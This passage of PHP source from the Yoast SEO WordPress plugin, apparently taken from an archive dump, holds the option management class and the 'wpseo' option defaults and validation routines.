	/* *********** METHODS influencing add_uption(), update_option() and saving from admin pages *********** */

	/**
	 * Validate the option.
	 *
	 * @param array $dirty New value for the option.
	 * @param array $clean Clean value for the option, normally the defaults.
	 * @param array $old   Old value of the option.
	 *
	 * @return array Validated clean value for the option to be saved to the database.
	 */
	protected function validate_option( $dirty, $clean, $old ) {

		foreach ( $clean as $key => $value ) {
			switch ( $key ) {
				case 'access':
					if ( isset( $dirty[ $key ] ) && in_array( $dirty[ $key ], self::$allowed_access_options, true ) ) {
						$clean[ $key ] = $dirty[ $key ];
					}
					elseif ( function_exists( 'add_settings_error' ) ) {
						add_settings_error(
							$this->group_name, // Slug title of the setting.
							$key, // Suffix-ID for the error message box.
							/* translators: %1$s expands to the option name and %2$sexpands to Yoast SEO */
							sprintf( __( '%1$s is not a valid choice for who should be allowed access to the %2$s settings. Value reset to the default.', 'wordpress-seo' ), esc_html( sanitize_text_field( $dirty[ $key ] ) ), 'Yoast SEO' ), // The error message.
							'error' // Message type.
						);
					}
					break;

				case 'defaultblog':
					if ( isset( $dirty[ $key ] ) && ( $dirty[ $key ] !== '' && $dirty[ $key ] !== '-' ) ) {
						$int = WPSEO_Utils::validate_int( $dirty[ $key ] );
						if ( $int !== false && $int > 0 ) {
							// Check if a valid blog number has been received.
							$exists = get_blog_details( $int, false );
							if ( $exists && $exists->deleted === '0' ) {
								$clean[ $key ] = $int;
							}
							elseif ( function_exists( 'add_settings_error' ) ) {
								add_settings_error(
									$this->group_name, // Slug title of the setting.
									$key, // Suffix-ID for the error message box.
									esc_html__( 'The default blog setting must be the numeric blog id of the blog you want to use as default.', 'wordpress-seo' )
										. '<br>'
										. sprintf(
											/* translators: %s is the ID number of a blog. */
											esc_html__( 'This must be an existing blog. Blog %s does not exist or has been marked as deleted.', 'wordpress-seo' ),
											'<strong>' . esc_html( sanitize_text_field( $dirty[ $key ] ) ) . '</strong>'
										), // The error message.
									'error' // Message type.
								);
							}
							unset( $exists );
						}
						elseif ( function_exists( 'add_settings_error' ) ) {
							add_settings_error(
								$this->group_name, // Slug title of the setting.
								$key, // Suffix-ID for the error message box.
								esc_html__( 'The default blog setting must be the numeric blog id of the blog you want to use as default.', 'wordpress-seo' ) . '<br>' . esc_html__( 'No numeric value was received.', 'wordpress-seo' ), // The error message.
								'error' // Message type.
							);
						}
						unset( $int );
					}
					break;

				default:
					$clean[ $key ] = ( isset( $dirty[ $key ] ) ? WPSEO_Utils::validate_bool( $dirty[ $key ] ) : false );
					break;
			}
		}

		return $clean;
	}
}
wordpress-seo/inc/options/class-wpseo-options.php000064400000042040147510273100016266 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

/**
 * Overall Option Management class.
 *
 * Instantiates all the options and offers a number of utility methods to work with the options.
 */
class WPSEO_Options {

	/**
	 * The option values.
	 *
	 * @var array|null
	 */
	protected static $option_values = null;

	/**
	 * Options this class uses.
	 *
	 * @var array Array format: (string) option_name  => (string) name of concrete class for the option.
	 */
	public static $options = [
		'wpseo'               => 'WPSEO_Option_Wpseo',
		'wpseo_titles'        => 'WPSEO_Option_Titles',
		'wpseo_social'        => 'WPSEO_Option_Social',
		'wpseo_ms'            => 'WPSEO_Option_MS',
		'wpseo_taxonomy_meta' => 'WPSEO_Taxonomy_Meta',
	];

	/**
	 * Array of instantiated option objects.
	 *
	 * @var array
	 */
	protected static $option_instances = [];

	/**
	 * Array with the option names.
	 *
	 * @var array
	 */
	protected static $option_names = [];

	/**
	 * Instance of this class.
	 *
	 * @var WPSEO_Options
	 */
	protected static $instance;

	/**
	 * Instantiate all the WPSEO option management classes.
	 */
	protected function __construct() {
		$this->register_hooks();

		foreach ( static::$options as $option_class ) {
			static::register_option( call_user_func( [ $option_class, 'get_instance' ] ) );
		}
	}

	/**
	 * Register our hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'registered_taxonomy', [ $this, 'clear_cache' ] );
		add_action( 'unregistered_taxonomy', [ $this, 'clear_cache' ] );
		add_action( 'registered_post_type', [ $this, 'clear_cache' ] );
		add_action( 'unregistered_post_type', [ $this, 'clear_cache' ] );
	}

	/**
	 * Get the singleton instance of this class.
	 *
	 * @return object
	 */
	public static function get_instance() {
		if ( ! ( static::$instance instanceof self ) ) {
			static::$instance = new self();
		}

		return static::$instance;
	}

	/**
	 * Registers an option to the options list.
	 *
	 * @param WPSEO_Option $option_instance Instance of the option.
	 *
	 * @return void
	 */
	public static function register_option( WPSEO_Option $option_instance ) {
		$option_name = $option_instance->get_option_name();

		if ( $option_instance->multisite_only && ! static::is_multisite() ) {
			unset( static::$options[ $option_name ], static::$option_names[ $option_name ] );

			return;
		}

		$is_already_registered = array_key_exists( $option_name, static::$options );
		if ( ! $is_already_registered ) {
			static::$options[ $option_name ] = get_class( $option_instance );
		}

		if ( $option_instance->include_in_all === true ) {
			static::$option_names[ $option_name ] = $option_name;
		}

		static::$option_instances[ $option_name ] = $option_instance;

		if ( ! $is_already_registered ) {
			static::clear_cache();
		}
	}

	/**
	 * Get the group name of an option for use in the settings form.
	 *
	 * @param string $option_name The option for which you want to retrieve the option group name.
	 *
	 * @return string|bool
	 */
	public static function get_group_name( $option_name ) {
		if ( isset( static::$option_instances[ $option_name ] ) ) {
			return static::$option_instances[ $option_name ]->group_name;
		}

		return false;
	}

	/**
	 * Get a specific default value for an option.
	 *
	 * @param string $option_name The option for which you want to retrieve a default.
	 * @param string $key         The key within the option who's default you want.
	 *
	 * @return mixed
	 */
	public static function get_default( $option_name, $key ) {
		if ( isset( static::$option_instances[ $option_name ] ) ) {
			$defaults = static::$option_instances[ $option_name ]->get_defaults();
			if ( isset( $defaults[ $key ] ) ) {
				return $defaults[ $key ];
			}
		}

		return null;
	}

	/**
	 * Update a site_option.
	 *
	 * @param string $option_name The option name of the option to save.
	 * @param mixed  $value       The new value for the option.
	 *
	 * @return bool
	 */
	public static function update_site_option( $option_name, $value ) {
		if ( is_multisite() && isset( static::$option_instances[ $option_name ] ) ) {
			return static::$option_instances[ $option_name ]->update_site_option( $value );
		}

		return false;
	}

	/**
	 * Get the instantiated option instance.
	 *
	 * @param string $option_name The option for which you want to retrieve the instance.
	 *
	 * @return object|bool
	 */
	public static function get_option_instance( $option_name ) {
		if ( isset( static::$option_instances[ $option_name ] ) ) {
			return static::$option_instances[ $option_name ];
		}

		return false;
	}

	/**
	 * Retrieve an array of the options which should be included in get_all() and reset().
	 *
	 * @return array Array of option names.
	 */
	public static function get_option_names() {
		$option_names = array_values( static::$option_names );
		if ( $option_names === [] ) {
			foreach ( static::$option_instances as $option_name => $option_object ) {
				if ( $option_object->include_in_all === true ) {
					$option_names[] = $option_name;
				}
			}
		}

		/**
		 * Filter: wpseo_options - Allow developers to change the option name to include.
		 *
		 * @param array $option_names The option names to include in get_all and reset().
		 */
		return apply_filters( 'wpseo_options', $option_names );
	}

	/**
	 * Retrieve all the options for the SEO plugin in one go.
	 *
	 * @param array<string> $specific_options The option groups of the option you want to get.
	 *
	 * @return array Array combining the values of all the options.
	 */
	public static function get_all( $specific_options = [] ) {
		$option_names          = ( empty( $specific_options ) ) ? static::get_option_names() : $specific_options;
		static::$option_values = static::get_options( $option_names );

		return static::$option_values;
	}

	/**
	 * Retrieve one or more options for the SEO plugin.
	 *
	 * @param array $option_names An array of option names of the options you want to get.
	 *
	 * @return array Array combining the values of the requested options.
	 */
	public static function get_options( array $option_names ) {
		$options      = [];
		$option_names = array_filter( $option_names, 'is_string' );
		foreach ( $option_names as $option_name ) {
			if ( isset( static::$option_instances[ $option_name ] ) ) {
				$option = static::get_option( $option_name );

				if ( $option !== null ) {
					$options = array_merge( $options, $option );
				}
			}
		}

		return $options;
	}

	/**
	 * Retrieve a single option for the SEO plugin.
	 *
	 * @param string $option_name The name of the option you want to get.
	 *
	 * @return array Array containing the requested option.
	 */
	public static function get_option( $option_name ) {
		$option = null;
		if ( is_string( $option_name ) && ! empty( $option_name ) ) {
			if ( isset( static::$option_instances[ $option_name ] ) ) {
				if ( static::$option_instances[ $option_name ]->multisite_only !== true ) {
					$option = get_option( $option_name );
				}
				else {
					$option = get_site_option( $option_name );
				}
			}
		}

		return $option;
	}

	/**
	 * Retrieve a single field from any option for the SEO plugin. Keys are always unique.
	 *
	 * @param string        $key           The key it should return.
	 * @param mixed         $default_value The default value that should be returned if the key isn't set.
	 * @param array<string> $option_groups The option groups to retrieve the option from.
	 *
	 * @return mixed Returns value if found, $default_value if not.
	 */
	public static function get( $key, $default_value = null, $option_groups = [] ) {
		if ( ! isset( static::$option_values[ $key ] ) ) {
			static::prime_cache( $option_groups );
		}
		if ( isset( static::$option_values[ $key ] ) ) {
			return static::$option_values[ $key ];
		}

		return $default_value;
	}

	/**
	 * Resets the cache to null.
	 *
	 * @return void
	 */
	public static function clear_cache() {
		static::$option_values = null;
	}

	/**
	 * Primes our cache.
	 *
	 * @param array<string> $option_groups The option groups to prime the cache with.
	 *
	 * @return void
	 */
	private static function prime_cache( $option_groups = [] ) {
		static::$option_values = static::get_all( $option_groups );
		static::$option_values = static::add_ms_option( static::$option_values );
	}

	/**
	 * Retrieve a single field from an option for the SEO plugin.
	 *
	 * @param string $key          The key to set.
	 * @param mixed  $value        The value to set.
	 * @param string $option_group The lookup table which represents the option_group where the key is stored.
	 *
	 * @return mixed|null Returns value if found, $default if not.
	 */
	public static function set( $key, $value, $option_group = '' ) {
		$lookup_table = static::get_lookup_table( $option_group );

		if ( isset( $lookup_table[ $key ] ) ) {
			return static::save_option( $lookup_table[ $key ], $key, $value );
		}

		$patterns = static::get_pattern_table();
		foreach ( $patterns as $pattern => $option ) {
			if ( strpos( $key, $pattern ) === 0 ) {
				return static::save_option( $option, $key, $value );
			}
		}

		static::$option_values[ $key ] = $value;
	}

	/**
	 * Get an option only if it's been auto-loaded.
	 *
	 * @param string $option        The option to retrieve.
	 * @param mixed  $default_value A default value to return.
	 *
	 * @return mixed
	 */
	public static function get_autoloaded_option( $option, $default_value = false ) {
		$value = wp_cache_get( $option, 'options' );
		if ( $value === false ) {
			$passed_default = func_num_args() > 1;

			// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Using WP native filter.
			return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
		}

		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Using WP native filter.
		return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option );
	}

	/**
	 * Run the clean up routine for one or all options.
	 *
	 * @param array|string|null $option_name     Optional. the option you want to clean or an array of
	 *                                           option names for the options you want to clean.
	 *                                           If not set, all options will be cleaned.
	 * @param string|null       $current_version Optional. Version from which to upgrade, if not set,
	 *                                           version specific upgrades will be disregarded.
	 *
	 * @return void
	 */
	public static function clean_up( $option_name = null, $current_version = null ) {
		if ( isset( $option_name ) && is_string( $option_name ) && $option_name !== '' ) {
			if ( isset( static::$option_instances[ $option_name ] ) ) {
				static::$option_instances[ $option_name ]->clean( $current_version );
			}
		}
		elseif ( isset( $option_name ) && is_array( $option_name ) && $option_name !== [] ) {
			foreach ( $option_name as $option ) {
				if ( isset( static::$option_instances[ $option ] ) ) {
					static::$option_instances[ $option ]->clean( $current_version );
				}
			}
			unset( $option );
		}
		else {
			foreach ( static::$option_instances as $instance ) {
				$instance->clean( $current_version );
			}
			unset( $instance );

			// If we've done a full clean-up, we can safely remove this really old option.
			delete_option( 'wpseo_indexation' );
		}
	}

	/**
	 * Check that all options exist in the database and add any which don't.
	 *
	 * @return void
	 */
	public static function ensure_options_exist() {
		foreach ( static::$option_instances as $instance ) {
			$instance->maybe_add_option();
		}
	}

	/**
	 * Initialize some options on first install/activate/reset.
	 *
	 * @return void
	 */
	public static function initialize() {
		/* Force WooThemes to use Yoast SEO data. */
		if ( function_exists( 'woo_version_init' ) ) {
			update_option( 'seo_woo_use_third_party_data', 'true' );
		}
	}

	/**
	 * Reset all options to their default values and rerun some tests.
	 *
	 * @return void
	 */
	public static function reset() {
		if ( ! is_multisite() ) {
			$option_names = static::get_option_names();
			if ( is_array( $option_names ) && $option_names !== [] ) {
				foreach ( $option_names as $option_name ) {
					delete_option( $option_name );
					update_option( $option_name, get_option( $option_name ) );
				}
			}
			unset( $option_names );
		}
		else {
			// Reset MS blog based on network default blog setting.
			static::reset_ms_blog( get_current_blog_id() );
		}

		static::initialize();
	}

	/**
	 * Initialize default values for a new multisite blog.
	 *
	 * @param bool $force_init Whether to always do the initialization routine (title/desc test).
	 *
	 * @return void
	 */
	public static function maybe_set_multisite_defaults( $force_init = false ) {
		$option = get_option( 'wpseo' );

		if ( is_multisite() ) {
			if ( $option['ms_defaults_set'] === false ) {
				static::reset_ms_blog( get_current_blog_id() );
				static::initialize();
			}
			elseif ( $force_init === true ) {
				static::initialize();
			}
		}
	}

	/**
	 * Reset all options for a specific multisite blog to their default values based upon a
	 * specified default blog if one was chosen on the network page or the plugin defaults if it was not.
	 *
	 * @param int|string $blog_id Blog id of the blog for which to reset the options.
	 *
	 * @return void
	 */
	public static function reset_ms_blog( $blog_id ) {
		if ( is_multisite() ) {
			$options      = get_site_option( 'wpseo_ms' );
			$option_names = static::get_option_names();

			if ( is_array( $option_names ) && $option_names !== [] ) {
				$base_blog_id = $blog_id;
				if ( $options['defaultblog'] !== '' && $options['defaultblog'] !== 0 ) {
					$base_blog_id = $options['defaultblog'];
				}

				foreach ( $option_names as $option_name ) {
					delete_blog_option( $blog_id, $option_name );

					$new_option = get_blog_option( $base_blog_id, $option_name );

					/* Remove sensitive, theme dependent and site dependent info. */
					if ( isset( static::$option_instances[ $option_name ] ) && static::$option_instances[ $option_name ]->ms_exclude !== [] ) {
						foreach ( static::$option_instances[ $option_name ]->ms_exclude as $key ) {
							unset( $new_option[ $key ] );
						}
					}

					if ( $option_name === 'wpseo' ) {
						$new_option['ms_defaults_set'] = true;
					}

					update_blog_option( $blog_id, $option_name, $new_option );
				}
			}
		}
	}

	/**
	 * Saves the option to the database.
	 *
	 * @param string $wpseo_options_group_name The name for the wpseo option group in the database.
	 * @param string $option_name              The name for the option to set.
	 * @param mixed  $option_value             The value for the option.
	 *
	 * @return bool Returns true if the option is successfully saved in the database.
	 */
	public static function save_option( $wpseo_options_group_name, $option_name, $option_value ) {
		$options                 = static::get_option( $wpseo_options_group_name );
		$options[ $option_name ] = $option_value;

		if ( isset( static::$option_instances[ $wpseo_options_group_name ] ) && static::$option_instances[ $wpseo_options_group_name ]->multisite_only === true ) {
			static::update_site_option( $wpseo_options_group_name, $options );
		}
		else {
			update_option( $wpseo_options_group_name, $options );
		}

		// Check if everything got saved properly.
		$saved_option = static::get_option( $wpseo_options_group_name );

		// Clear our cache.
		static::clear_cache();

		return $saved_option[ $option_name ] === $options[ $option_name ];
	}

	/**
	 * Adds the multisite options to the option stack if relevant.
	 *
	 * @param array $option The currently present options settings.
	 *
	 * @return array Options possibly including multisite.
	 */
	protected static function add_ms_option( $option ) {
		if ( ! is_multisite() ) {
			return $option;
		}

		$ms_option = static::get_option( 'wpseo_ms' );
		if ( $ms_option === null ) {
			return $option;
		}

		return array_merge( $option, $ms_option );
	}

	/**
	 * Checks if installation is multisite.
	 *
	 * @return bool True when is multisite.
	 */
	protected static function is_multisite() {
		static $is_multisite;

		if ( $is_multisite === null ) {
			$is_multisite = is_multisite();
		}

		return $is_multisite;
	}

	/**
	 * Retrieves a lookup table to find in which option_group a key is stored.
	 *
	 * @param string $option_group The option_group where the key is stored.
	 *
	 * @return array The lookup table.
	 */
	private static function get_lookup_table( $option_group = '' ) {
		$lookup_table  = [];
		$option_groups = ( $option_group === '' ) ? static::$options : [ $option_group => static::$options[ $option_group ] ];

		foreach ( array_keys( $option_groups ) as $option_name ) {
			$full_option = static::get_option( $option_name );
			foreach ( $full_option as $key => $value ) {
				$lookup_table[ $key ] = $option_name;
			}
		}

		return $lookup_table;
	}

	/**
	 * Retrieves a lookup table to find in which option_group a key is stored.
	 *
	 * @return array The lookup table.
	 */
	private static function get_pattern_table() {
		$pattern_table = [];
		foreach ( static::$options as $option_name => $option_class ) {
			$instance = call_user_func( [ $option_class, 'get_instance' ] );
			foreach ( $instance->get_patterns() as $key ) {
				$pattern_table[ $key ] = $option_name;
			}
		}

		return $pattern_table;
	}
}
wordpress-seo/inc/options/class-wpseo-option-wpseo.php000064400000052042147510273100017241 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

/**
 * Option: wpseo.
 */
class WPSEO_Option_Wpseo extends WPSEO_Option {

	/**
	 * Option name.
	 *
	 * @var string
	 */
	public $option_name = 'wpseo';

	/**
	 * Array of defaults for the option.
	 *
	 * {@internal Shouldn't be requested directly, use $this->get_defaults();}}
	 *
	 * @var array
	 */
	protected $defaults = [
		// Non-form fields, set via (ajax) function.
		'tracking'                                 => null,
		'toggled_tracking'                         => false,
		'license_server_version'                   => false,
		'ms_defaults_set'                          => false,
		'ignore_search_engines_discouraged_notice' => false,
		'indexing_first_time'                      => true,
		'indexing_started'                         => null,
		'indexing_reason'                          => '',
		'indexables_indexing_completed'            => false,
		'index_now_key'                            => '',
		// Non-form field, should only be set via validation routine.
		'version'                                  => '', // Leave default as empty to ensure activation/upgrade works.
		'previous_version'                         => '',
		// Form fields.
		'disableadvanced_meta'                     => true,
		'enable_headless_rest_endpoints'           => true,
		'ryte_indexability'                        => false,
		'baiduverify'                              => '', // Text field.
		'googleverify'                             => '', // Text field.
		'msverify'                                 => '', // Text field.
		'yandexverify'                             => '',
		'site_type'                                => '', // List of options.
		'has_multiple_authors'                     => '',
		'environment_type'                         => '',
		'content_analysis_active'                  => true,
		'keyword_analysis_active'                  => true,
		'inclusive_language_analysis_active'       => false,
		'enable_admin_bar_menu'                    => true,
		'enable_cornerstone_content'               => true,
		'enable_xml_sitemap'                       => true,
		'enable_text_link_counter'                 => true,
		'enable_index_now'                         => true,
		'enable_ai_generator'                      => true,
		'ai_enabled_pre_default'                   => false,
		'show_onboarding_notice'                   => false,
		'first_activated_on'                       => false,
		'myyoast-oauth'                            => [
			'config'        => [
				'clientId' => null,
				'secret'   => null,
			],
			'access_tokens' => [],
		],
		'semrush_integration_active'               => true,
		'semrush_tokens'                           => [],
		'semrush_country_code'                     => 'us',
		'permalink_structure'                      => '',
		'home_url'                                 => '',
		'dynamic_permalinks'                       => false,
		'category_base_url'                        => '',
		'tag_base_url'                             => '',
		'custom_taxonomy_slugs'                    => [],
		'enable_enhanced_slack_sharing'            => true,
		'enable_metabox_insights'                  => true,
		'enable_link_suggestions'                  => true,
		'algolia_integration_active'               => false,
		'import_cursors'                           => [],
		'workouts_data'                            => [ 'configuration' => [ 'finishedSteps' => [] ] ],
		'configuration_finished_steps'             => [],
		'dismiss_configuration_workout_notice'     => false,
		'dismiss_premium_deactivated_notice'       => false,
		'importing_completed'                      => [],
		'wincher_integration_active'               => true,
		'wincher_tokens'                           => [],
		'wincher_automatically_add_keyphrases'     => false,
		'wincher_website_id'                       => '',
		'first_time_install'                       => false,
		'should_redirect_after_install_free'       => false,
		'activation_redirect_timestamp_free'       => 0,
		'remove_feed_global'                       => false,
		'remove_feed_global_comments'              => false,
		'remove_feed_post_comments'                => false,
		'remove_feed_authors'                      => false,
		'remove_feed_categories'                   => false,
		'remove_feed_tags'                         => false,
		'remove_feed_custom_taxonomies'            => false,
		'remove_feed_post_types'                   => false,
		'remove_feed_search'                       => false,
		'remove_atom_rdf_feeds'                    => false,
		'remove_shortlinks'                        => false,
		'remove_rest_api_links'                    => false,
		'remove_rsd_wlw_links'                     => false,
		'remove_oembed_links'                      => false,
		'remove_generator'                         => false,
		'remove_emoji_scripts'                     => false,
		'remove_powered_by_header'                 => false,
		'remove_pingback_header'                   => false,
		'clean_campaign_tracking_urls'             => false,
		'clean_permalinks'                         => false,
		'clean_permalinks_extra_variables'         => '',
		'search_cleanup'                           => false,
		'search_cleanup_emoji'                     => false,
		'search_cleanup_patterns'                  => false,
		'search_character_limit'                   => 50,
		'deny_search_crawling'                     => false,
		'deny_wp_json_crawling'                    => false,
		'deny_adsbot_crawling'                     => false,
		'deny_ccbot_crawling'                      => false,
		'deny_google_extended_crawling'            => false,
		'deny_gptbot_crawling'                     => false,
		'redirect_search_pretty_urls'              => false,
		'least_readability_ignore_list'            => [],
		'least_seo_score_ignore_list'              => [],
		'most_linked_ignore_list'                  => [],
		'least_linked_ignore_list'                 => [],
		'indexables_page_reading_list'             => [ false, false, false, false, false ],
		'indexables_overview_state'                => 'dashboard-not-visited',
		'last_known_public_post_types'             => [],
		'last_known_public_taxonomies'             => [],
		'last_known_no_unindexed'                  => [],
		'new_post_types'                           => [],
		'new_taxonomies'                           => [],
		'show_new_content_type_notification'       => false,
	];

	/**
	 * Sub-options which should not be overloaded with multi-site defaults.
	 *
	 * @var array
	 */
	public $ms_exclude = [
		'ignore_search_engines_discouraged_notice',
		/* Privacy. */
		'baiduverify',
		'googleverify',
		'msverify',
		'yandexverify',
	];

	/**
	 * Possible values for the site_type option.
	 *
	 * @var array
	 */
	protected $site_types = [
		'',
		'blog',
		'shop',
		'news',
		'smallBusiness',
		'corporateOther',
		'personalOther',
	];

	/**
	 * Possible environment types.
	 *
	 * @var array
	 */
	protected $environment_types = [
		'',
		'local',
		'production',
		'staging',
		'development',
	];

	/**
	 * Possible has_multiple_authors options.
	 *
	 * @var array
	 */
	protected $has_multiple_authors_options = [
		'',
		true,
		false,
	];

	/**
	 * Name for an option higher in the hierarchy to override setting access.
	 *
	 * @var string
	 */
	protected $override_option_name = 'wpseo_ms';

	/**
	 * Add the actions and filters for the option.
	 *
	 * @todo [JRF => testers] Check if the extra actions below would run into problems if an option
	 *       is updated early on and if so, change the call to schedule these for a later action on add/update
	 *       instead of running them straight away.
	 */
	protected function __construct() {
		parent::__construct();

		/**
		 * Filter: 'wpseo_enable_tracking' - Enables the data tracking of Yoast SEO Premium.
		 *
		 * @param string|false $is_enabled The enabled state. Default is false.
		 */
		$this->defaults['tracking'] = apply_filters( 'wpseo_enable_tracking', false );

		/* Clear the cache on update/add. */
		add_action( 'add_option_' . $this->option_name, [ 'WPSEO_Utils', 'clear_cache' ] );
		add_action( 'update_option_' . $this->option_name, [ 'WPSEO_Utils', 'clear_cache' ] );

		add_filter( 'admin_title', [ 'Yoast_Input_Validation', 'add_yoast_admin_document_title_errors' ] );

		/**
		 * Filter the `wpseo` option defaults.
		 *
		 * @param array $defaults Array the defaults for the `wpseo` option attributes.
		 */
		$this->defaults = apply_filters( 'wpseo_option_wpseo_defaults', $this->defaults );
	}

	/**
	 * Get the singleton instance of this class.
	 *
	 * @return object
	 */
	public static function get_instance() {
		if ( ! ( self::$instance instanceof self ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Add filters to make sure that the option is merged with its defaults before being returned.
	 *
	 * @return void
	 */
	public function add_option_filters() {
		parent::add_option_filters();

		list( $hookname, $callback, $priority ) = $this->get_verify_features_option_filter_hook();

		if ( has_filter( $hookname, $callback ) === false ) {
			add_filter( $hookname, $callback, $priority );
		}
	}

	/**
	 * Remove the option filters.
	 * Called from the clean_up methods to make sure we retrieve the original old option.
	 *
	 * @return void
	 */
	public function remove_option_filters() {
		parent::remove_option_filters();

		list( $hookname, $callback, $priority ) = $this->get_verify_features_option_filter_hook();

		remove_filter( $hookname, $callback, $priority );
	}

	/**
	 * Add filters to make sure that the option default is returned if the option is not set.
	 *
	 * @return void
	 */
	public function add_default_filters() {
		parent::add_default_filters();

		list( $hookname, $callback, $priority ) = $this->get_verify_features_default_option_filter_hook();

		if ( has_filter( $hookname, $callback ) === false ) {
			add_filter( $hookname, $callback, $priority );
		}
	}

	/**
	 * Remove the default filters.
	 * Called from the validate() method to prevent failure to add new options.
	 *
	 * @return void
	 */
	public function remove_default_filters() {
		parent::remove_default_filters();

		list( $hookname, $callback, $priority ) = $this->get_verify_features_default_option_filter_hook();

		remove_filter( $hookname, $callback, $priority );
	}

	/**
	 * Validate the option.
	 *
	 * @param array $dirty New value for the option.
	 * @param array $clean Clean value for the option, normally the defaults.
	 * @param array $old   Old value of the option.
	 *
	 * @return array Validated clean value for the option to be saved to the database.
	 */
	protected function validate_option( $dirty, $clean, $old ) {

		foreach ( $clean as $key => $value ) {
			switch ( $key ) {
				case 'version':
					$clean[ $key ] = WPSEO_VERSION;
					break;
				case 'previous_version':
				case 'semrush_country_code':
				case 'license_server_version':
				case 'home_url':
				case 'index_now_key':
				case 'wincher_website_id':
				case 'clean_permalinks_extra_variables':
				case 'indexables_overview_state':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = $dirty[ $key ];
					}
					break;
				case 'indexing_reason':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = sanitize_text_field( $dirty[ $key ] );
					}
					break;

				/* Verification strings. */
				case 'baiduverify':
				case 'googleverify':
				case 'msverify':
				case 'yandexverify':
					$this->validate_verification_string( $key, $dirty, $old, $clean );
					break;

				/*
				 * Boolean dismiss warnings - not fields - may not be in form
				 * (and don't need to be either as long as the default is false).
				 */
				case 'ignore_search_engines_discouraged_notice':
				case 'ms_defaults_set':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = WPSEO_Utils::validate_bool( $dirty[ $key ] );
					}
					elseif ( isset( $old[ $key ] ) ) {
						$clean[ $key ] = WPSEO_Utils::validate_bool( $old[ $key ] );
					}
					break;

				case 'site_type':
					$clean[ $key ] = $old[ $key ];
					if ( isset( $dirty[ $key ] ) && in_array( $dirty[ $key ], $this->site_types, true ) ) {
						$clean[ $key ] = $dirty[ $key ];
					}
					break;

				case 'environment_type':
					$clean[ $key ] = $old[ $key ];
					if ( isset( $dirty[ $key ] ) && in_array( $dirty[ $key ], $this->environment_types, true ) ) {
						$clean[ $key ] = $dirty[ $key ];
					}
					break;

				case 'has_multiple_authors':
					$clean[ $key ] = $old[ $key ];
					if ( isset( $dirty[ $key ] ) && in_array( $dirty[ $key ], $this->has_multiple_authors_options, true ) ) {
						$clean[ $key ] = $dirty[ $key ];
					}

					break;

				case 'first_activated_on':
				case 'indexing_started':
				case 'activation_redirect_timestamp_free':
					$clean[ $key ] = false;
					if ( isset( $dirty[ $key ] ) ) {
						if ( $dirty[ $key ] === false || WPSEO_Utils::validate_int( $dirty[ $key ] ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
					}
					break;

				case 'tracking':
					$clean[ $key ] = ( isset( $dirty[ $key ] ) ? WPSEO_Utils::validate_bool( $dirty[ $key ] ) : null );
					break;

				case 'myyoast_oauth':
				case 'semrush_tokens':
				case 'custom_taxonomy_slugs':
				case 'wincher_tokens':
				case 'workouts_data':
				case 'configuration_finished_steps':
				case 'least_readability_ignore_list':
				case 'least_seo_score_ignore_list':
				case 'most_linked_ignore_list':
				case 'least_linked_ignore_list':
				case 'indexables_page_reading_list':
				case 'last_known_public_post_types':
				case 'last_known_public_taxonomies':
				case 'new_post_types':
				case 'new_taxonomies':
					$clean[ $key ] = $old[ $key ];

					if ( isset( $dirty[ $key ] ) ) {
						$items = $dirty[ $key ];
						if ( ! is_array( $items ) ) {
							$items = json_decode( $dirty[ $key ], true );
						}

						if ( is_array( $items ) ) {
							$clean[ $key ] = $dirty[ $key ];
						}
					}

					break;

				case 'permalink_structure':
				case 'category_base_url':
				case 'tag_base_url':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = sanitize_option( $key, $dirty[ $key ] );
					}
					break;

				case 'search_character_limit':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = (int) $dirty[ $key ];
					}
					break;

				case 'import_cursors':
				case 'importing_completed':
					if ( isset( $dirty[ $key ] ) && is_array( $dirty[ $key ] ) ) {
						$clean[ $key ] = $dirty[ $key ];
					}
					break;

				case 'last_known_no_unindexed':
					$clean[ $key ] = $old[ $key ];

					if ( isset( $dirty[ $key ] ) ) {
						$items = $dirty[ $key ];

						if ( is_array( $items ) ) {
							foreach ( $items as $item_key => $item ) {
								if ( ! is_string( $item_key ) || ! is_numeric( $item ) ) {
									unset( $items[ $item_key ] );
								}
							}
							$clean[ $key ] = $items;
						}
					}

					break;

				/*
				 * Boolean (checkbox) fields.
				 *
				 * Covers:
				 *  'disableadvanced_meta'
				 *  'enable_headless_rest_endpoints'
				 *  'yoast_tracking'
				 *  'dynamic_permalinks'
				 *  'indexing_first_time'
				 *  'first_time_install'
				 *  'remove_feed_global'
				 *  'remove_feed_global_comments'
				 *  'remove_feed_post_comments'
				 *  'remove_feed_authors'
				 *  'remove_feed_categories'
				 *  'remove_feed_tags'
				 *  'remove_feed_custom_taxonomies'
				 *  'remove_feed_post_types'
				 *  'remove_feed_search'
				 *  'remove_atom_rdf_feeds'
				 *  'remove_shortlinks'
				 *  'remove_rest_api_links'
				 *  'remove_rsd_wlw_links'
				 *  'remove_oembed_links'
				 *  'remove_generator'
				 *  'remove_emoji_scripts'
				 *  'remove_powered_by_header'
				 *  'remove_pingback_header'
				 *  'clean_campaign_tracking_urls'
				 *  'clean_permalinks'
				 *  'clean_permalinks_extra_variables'
				 *  'search_cleanup'
				 *  'search_cleanup_emoji'
				 *  'search_cleanup_patterns'
				 *  'deny_wp_json_crawling'
				 *  'deny_adsbot_crawling'
				 *  'deny_ccbot_crawling'
				 *  'deny_google_extended_crawling'
				 *  'deny_gptbot_crawling'
				 *  'redirect_search_pretty_urls'
				 *  'should_redirect_after_install_free'
				 *  'show_new_content_type_notification'
				 *  and most of the feature variables.
				 */
				default:
					$clean[ $key ] = ( isset( $dirty[ $key ] ) ? WPSEO_Utils::validate_bool( $dirty[ $key ] ) : false );
					break;
			}
		}

		return $clean;
	}

	/**
	 * Verifies that the feature variables are turned off if the network is configured so.
	 *
